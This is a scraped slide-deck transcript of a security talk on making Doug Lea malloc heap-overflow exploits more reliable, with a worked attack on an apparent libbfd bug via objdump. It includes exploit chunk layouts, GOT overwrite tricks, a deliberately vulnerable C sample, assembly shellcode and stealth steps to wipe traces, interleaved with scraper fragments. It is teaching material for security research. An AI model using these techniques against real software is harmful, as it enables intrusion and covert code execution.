Presentation is loading. Please wait.

Presentation is loading. Please wait.

Using the magic against the magicianUsing the magic against the magician Nicolas Waisman DSN Security, Inc www.dsnsecurity.com.

Similar presentations


Presentation on theme: "Using the magic against the magicianUsing the magic against the magician Nicolas Waisman DSN Security, Inc www.dsnsecurity.com."— Presentation transcript:

1 Using the magic against the magicianUsing the magic against the magician Nicolas Waisman DSN Security, Inc www.dsnsecurity.com

2 Introduction Techniques to make heap overflow exploit more reliable Doug Leas malloc ( { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://images.slideplayer.com/3617/1/slides/slide_1.jpg", "name": "Introduction Techniques to make heap overflow exploit more reliable Doug Leas malloc (

3 p_size size fd bk … (data) p_size size p_size size fd bk … (data) p_size size allocated chunk-> mem-> nextc-> free chunk-> mem-> nextc-> | P Basic Chunks structure

4 Chunks consolidation Every time that free is called, the algorythm tries to consolidate the boundaries chunks Two types: - Forward Consolidation (Our chunk with next one) - Backward Consolidation (Our chunk with previous) Objetives: Minimizing Fragmentation

5 Backward Consolidation Check if the previous chunk isnt in use Locate the pointer into the previous chunk and unlink() it unlink(p - p->prev_sz)

6 Backward Consolidation p_size size fd bk … (data) p_size size fd bk … (data) 1) !(p->size & PREV_INUSE) PREV_INUSE P 2) p = p – p->prevsz P 3) unlink(p)

7 Forward Consolidation Check if the next chunk isnt in use. To do this, it has to check for flag PREV_INUSE of the next chunk of our next chunk (the 3 rd chunk). Locate a pointer into the next chunk and unlink() it unlink(p+p->size)

8 Forward Consolidation p_size size fd bk … (data) p_size size fd bk … (data) 1) n = p + p->sz p_size size fd bk … (data) P N 2) !((n+n->size)->size & PREV_INUSE) PREV_INUSE 3) unlink(n)

9 Taking advantage of Chunks consolidation Changing malloc internal structure Forcing free() to call unlink() with our modified chunk Writing 4 arbitrary bytes (or more?) wherever we want

10 Exploiting Backward consolidation Fake our prev_sz field (taking PREV_SIZE flag out), in order to make free() believe that our previous chunk is free Fake our size field in order to point our previous chunk to our fake previous chunk. (p- p->prev_sz) Finally, unlink() is triggered :D (writing 4 arbitrary bytes in an arbitrary location)

11 Taking advantage of Backward Consolidation -4 -4 &~PREV_INUSE SHIT pointer - 12 shellcode_addr p_size size fd bk … (data) 1) !(p->size & PREV_INUSE) PREV_INUSE P 2) p = p – p->prevsz P 3) unlink(p) (pointer-12) = shellcod_addr )

12 Exploiting Forward consolidation In Forward consolidation, we arent forced to overwrite the malloc structure of our buffer to be free()d We could just overwrite the malloc structure of our next chunk or fake our own structures. Fake the size of the next chunk (3 rd chunk) of our next chunk (take the PREV_SIZE flag, so free() believe that our 2 nd chunk is free) Finally, unlink() is trigged in our next chunk (writing 4 arbitrary bytes in a arbitrary location)

13 Taking advantage of Forward Consolidation SHIT & ~PREV_SIZE -4 pointer - 12 shellcode_addr … (data) … p_size size FD BK …(data) … 1) n = p + p->sz P N 2) !((n+n->size)->size & PREV_INUSE) 3) unlink(n) PREV_INUSE

14 /* abo9.c *abo9.c * specially crafted to feed your brain by gera@core-sdi.com */ /* free(your mind) */ /* I'm not sure in what operating systems it can be done */ int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); gets(pbuf1); free(pbuf2); free(pbuf1); } p_size size FD BK … (data) … p_size size FD BK …(data) … pbuf1 pbuf2

15 Reliable exploit requirements Functions Pointer address (GOT, ctors,etc) Shellcode Address etc (Specific Cases)

16 Harcorded Addresses (wtf do I come from Bs.As..?) Information Leaking (ask jp@corest.com)jp@corest.com jps UnlikeMe Chunk (Bonus Track) Writing 8 bytes per free Trigger as much free as possible etc… Some techniques that helps to get our address.

17 Technique to trigger our fake chunk when we cannot predict what part of our controlled buffer will be free Using forward consolidation technique, our free will try to look for our next chunk, using the p->size that will be one of our -15, -19,etc, and this will take our next pointer to our crafted chunk that is on a relative address of the place that free hits. Jps UnlinkMe Chunk technique

18 jps UnlikeMe Chunk (Bonus Track) -4 FDBK-11-15-19… ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE (forward consolidation) free()

19 jps UnlikeMe Chunk (Bonus Track) /* from jps article in phrack 61 Ref[3] */ #define SOMEOFFSET 5 + (rand() % (SZ-1)) int main(void){ unsigned long *unlinkMe= (unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;i { "@context": "http://schema.org", "@type": "ImageObject", "contentUrl": "http://images.slideplayer.com/3617/1/slides/slide_18.jpg", "name": "jps UnlikeMe Chunk (Bonus Track) /* from jps article in phrack 61 Ref[3] */ #define SOMEOFFSET 5 + (rand() % (SZ-1)) int main(void){ unsigned long *unlinkMe= (unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = WHAT_2_WRITE; unlinkMe[i++] = WHERE_2_WRITE-8; for(;i

20 Triggering forward and backward consolidation on the same free will allow us to write 8 arbitrary bytes in 2 different arbitrary position. As we saw before, backward consolidation use as a offset – p->prev_sz and forward consolidation + p->size. Writing 8 bytes per free()

21 So, we need to put in our trigger chunk : -prev_sz: (1) offset to our crafted backward chunk -size: (2) offset to our crafted forward chunk. And then, put our crafted backward and forward on: -bk chunk location: trigger chunk - (1) offset -fd chunk location: trigger chunk + (2) offset Remember that our offset will be negative, so for example: - bk chunk will be after our trigger chunk - fd chunk will be before our trigger chunk Writing 8 bytes per free()

22 Writing 8 bytes per free (double consolidation) -4 FDBK-16 XX-4 BKFD free() forwardbackward trigger chunk forward chunk backward chunk

23 This is a trick to discover our shellcode location without knowing the address of the buffer where is. We need to know the address of a function pointer (got,etc) With our 8 bytes per free technique, on our first consolidation (backward) we write on our function ptr the address of function ptr + 4, on the second consolidation (forward), we write two opcode (pop %eax, ret) Writing 8 bytes per free (mixed with geras friendly function Ref[4])

24 Now… the next time our function pointer is called, we will discard the real return address and we will be jumping to the function argument. Writing 8 bytes per free (mixed with geras friendly function Ref[4])

25 Writing 8 bytes per free got[free] = got[free+4] got[free+4]= 0xbfff3c58 (pop %eax; ret) int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); gets(pbuf1); free(pbuf2); free(pbuf1); } -16 backward chunk … (data) … p_size … shellcode forward chunk pbuf1 pbuf2 \x3c\x58\xff\xbf pop %eax ret ( jmp pbuf1 ) (mixed with geras friendly function Ref[4])

26 Writing 8 bytes per free (mixed with geras friendly function Ref[4]) got[free] = got[free+4] got[free+4]= 0xbfff3c58 (pop %eax; ret) Function pointer ?? Shellcode location int main(int argv,char **argc) { char *pbuf1=(char*)malloc(256); char *pbuf2=(char*)malloc(256); gets(pbuf1); free(pbuf2); free(pbuf1); } \x3c\x58\xff\xbf pop %eax ret ( jmp pbuf1 )

27 Writing 8 bytes per free (mixed with geras friendly function Ref[4]) int main(int argc, char **argv) { char *pbuf1=(char *)malloc(256); char *pbuf2=(char *)malloc(256); gets(pbuf1); free(pbuf2); snprintf(pbuf1, "HOLA",4); }

28 Example: bug in libfd (steps to make it more reliable)

29 BFD is a package which allows applications to use the same routines to operate on object files whatever the object file format. When an application sucessfully opens a target file (object, archive, etc), a pointer to an internal structure is returned. Lib BFD Note: I try many times to contact libfd developers, but I couldnt.

30 #include "bfd.h unsigned int number_of_sections(abfd) bfd *abfd; { return bfd_count_sections(abfd); } Ejemplo de uso de Lib BFD Return the amount of sections in a transparent way without knowing the object file format.

31 Used by… Most of binutilss applications gdb objdump nm strip etc

32 Application binary format Available in most than 30 platform Used for 4 types of files: - Relocate Object Files - Executables - Dynamic Executables - Core dumps What is ELF?

33 Section Table Array of Section Headers Gives us information about the different files section (got,.data,.code,.bss,etc) Not necesary strip – Delete sections from the file

34 typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; Section size Offset to section

35

36 bfd_elf_get_str_section ( bfd *abfd, unsigned int shindex) { …. offset = i_shdrp[shindex]->sh_offset; shstrtabsize = i_shdrp[shindex]->sh_size; shstrtab = elf_read (abfd, offset, shstrtabsize); i_shdrp[shindex]->contents = (PTR) shstrtab; } return shstrtab; } offset = sh_offset shtstrtabsize= sh_size

37 static char *elf_read (bfd *abfd; file_ptr offset; bfd_size_type size) { char *buf; if ((buf = bfd_alloc (abfd, size)) == NULL) return NULL; if (bfd_seek (abfd, offset, SEEK_SET) != 0) return NULL; if (bfd_bread ((PTR) buf, size, abfd) != size){ if (bfd_get_error () != bfd_error_system_call) bfd_set_error (bfd_error_file_truncated); return NULL; } return buf; } alloc lseek read file (fread)

38 #define objalloc_alloc(o, l) \ __extension__ \ ({ struct objalloc *__o = (o); \ unsigned long __len = (l); \ if (__len == 0) \ __len = 1; \ __len = (__len + OBJALLOC_ALIGN - 1) &~ (OBJALLOC_ALIGN - 1); \ (__len current_space \ ? (__o->current_ptr += __len, \ __o->current_space -= __len, \ (PTR) (__o->current_ptr - __len)) \ : _objalloc_alloc (__o, __len)); }) align len= 0xffffffff OBJALLOC_ALIGN=0x4 (0xffffffff+3) == 0x2 0x2 &~ (3) == 0x0

39 void objalloc_free (struct objalloc *o) { struct objalloc_chunk *l; l = (struct objalloc_chunk *) o->chunks; while (l != NULL) { struct objalloc_chunk *next; next = l->next; free (l); l = next; } free (o); } struct objalloc_chunk { struct objalloc_chunk *next; char *current_ptr; };

40 Simple Exploit SHELLCODE … CHUNK ADDR2CHUNK … struct objalloc *o ? shellcode_addr ? function_p ? ?

41 Lets take a break… enough! Time to think… Hardcorded addresses. unlinkMe chunk ? Trigger many free()s in order to write as much as possible.

42 Backward Consolidation with lchunk (triggering frees) -4 -4 &~PREV_INUSE ADDR NEXT CHUNK pointer - 12 shellcode_addr p_size size fd bk … (data) 1) !(p->size & PREV_INUSE) PREV_INUSE P 2) p = p – p->prevsz P 3) unlink(p) (pointer-12) = shellcod_addr ) free(l) l->next l->current_ptr

43 Function pointer (got[free]): Lot of possiblities to hit it Targets of O.S. common got incremented by four struct objalloc_o Raise the possiblity to hit it, adding 0x300 bytes of Addr to the first chunk lchunk: Address first chunk: Relative to the beginning of the file Next lchunk: Relative to the beginning of the buffer (adding +sizeof(lchunk) to find the next contiguos lchunk)

44 Lets put all together shellcode lchunk … ADDRs 2 first lchunk lchunk … struct objalloc *o shellcode_addr ? function_p next_lchunk ?

45 Bonus II – Doing a nice shellcode ( lacrias shellcode ) Exploiting an application to analize files One shot Make it the most stealth we can Try not to mess up with the file analisis No trace of shellcode existence

46 Patching the Section typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr; Old values

47 Wiping the shellcode Original Application shellcode

48 Payload (infection, reverse connection,etc) push $0xa3f6569 push $0x62627574 push $0x656c6574 push $0x20756f79 push $0x20646944 xor %ebx,%ebx inc %ebx mov %esp,%ecx mov $0x14,%edx mov $0x4,%eax int $0x80

49 Re executing …argcargv[]0envp[]0/bin/objdump-x…PWD=/home… /bin/objdump execve(/bin/objdump, argv, envp) stack_top

50 any question?

51 [1] geras InsecureProgramming page http://community.corest.com/~gera/InsecureProgramming/ [2] LIB BFD, the Binary File Descriptor Library http://www.gnu.org/manual/bfd-2.9.1/html_mono/bfd.html [3] Advanced Doug Leas malloc exploits (jp) http://www.phrack.org/show.php?p=61&a=6 [4] Advances in format string explotation (riq/gera) http://www.phrack.org/show.php?p=59&a=7 [5] Vudo malloc tricks (MaXX) http://www.phrack.org/show.php?p=57&a=8 [6] Linux libc sources http://ftp.gnu.org/pub/gnu/glibc/glibc-2.2.5.tar.gz References

52 GRACIAS (to Cristian, Augusto, Daemon, nahual, module, coca-cola, jp and lots of etcs) Questions? Ideas? Flames? nwaisman@dsnsecurity.com


Download ppt "Using the magic against the magicianUsing the magic against the magician Nicolas Waisman DSN Security, Inc www.dsnsecurity.com."

Similar presentations


Ads by Google